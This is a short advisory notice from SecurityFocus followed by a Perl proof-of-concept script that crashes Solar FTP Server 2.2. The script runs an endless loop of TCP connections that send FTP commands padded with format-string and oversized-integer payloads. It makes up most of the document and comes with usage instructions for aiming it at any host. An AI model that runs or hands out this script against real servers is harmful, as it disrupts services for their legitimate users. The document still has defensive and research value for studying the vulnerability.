source: http://www.securityfocus.com/bid/54306/info

Solar FTP Server is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to force the affected application to become unresponsive, denying service to legitimate users.

Solar FTP Server 2.2 is vulnerable; other versions may also be affected. 

# Exploit Title: Solar FTP Server 2.2 Remote DOS crash POC
# crash:http://img542.imageshack.us/img542/7633/solar.jpg
# Date: July 4, 2012
# Author: coolkaveh
# coolkaveh () rocketmail com
# https://twitter.com/coolkaveh
# Vendor Homepage: http://solarftp.com/
# Version: 2.2
# Tested on: windows XP SP3
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#When sending multiple parallel crafted request to a Solar FTP Server
it gets crash
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy Solar FTP Server Remote Denial Of Service
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
use Parallel::ForkManager;
$|=1;
sub usage {
    print "Crappy FTP Server Remote Denial Of Service\n";
    print "by coolkaveh\n";
    print "usage: perl killftp.pl <host> \n";
    print "example: perl Crappyftp.pl www.example.com \n";
}
$host=shift;
$port=shift || "21";
if(!defined($host)){
    print "Crappy FTP Server Remote Denial Of Service\n";
    print "by coolkaveh\n";
        print "coolkaveh () rocketmail com\n";
    print "usage: perl killftp.pl <host> \n";
    print "example: perl Crappyftp.pl www.example.com \n";
        exit(0);
}
$check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
if(defined $check_first){
        print "$host -> $port is alive.\n";
        $check_first->close;
}
else{
die("$host -> $port is closed!\n");
}
@junk=('A'x5,'l%q%j%z%Z'x1000,
'%s%p%x%d','024d','%.2049d','%p%p%p%p','%x%x%x%x','%d%d%d%d','%s%s%s%s','%99999999999s',
'%08x','%%20d','%%20n','%%20x','%%20s','%s%s%s%s%s%s%s%s%s%s','%p%p%p%p%p%p%p%p%p%p',
'%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%','%s'x129,'%x'x57,'-1','0','0x100',
'0x1000','0x3fffffff','0x7ffffffe','0x7fffffff','0x80000000','0xfffffffe','0xffffffff','0x10000','0x100000','1',
);
@command=(
'NLST','CWD','STOR','RETR','RMD','DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE',
'APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE
L','TYPE I','NLST','CWD','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE',
'APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE
L','TYPE I','NLST','CWD',
);
print "Crashing Server!\n";
while (1) {
   COMMAND_LIST: foreach $cmd (@command){
        foreach $poc (@junk){
                LABEL5: $sock4=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$port, Proto=>'tcp', Timeout=>30);
                if(defined($sock4)){
                $sock4->send("$cmd"." "."$poc\r\n", 0);
                $sock4->send("$poc\r\n", 0);
                        
                                }
                        }
                }               

}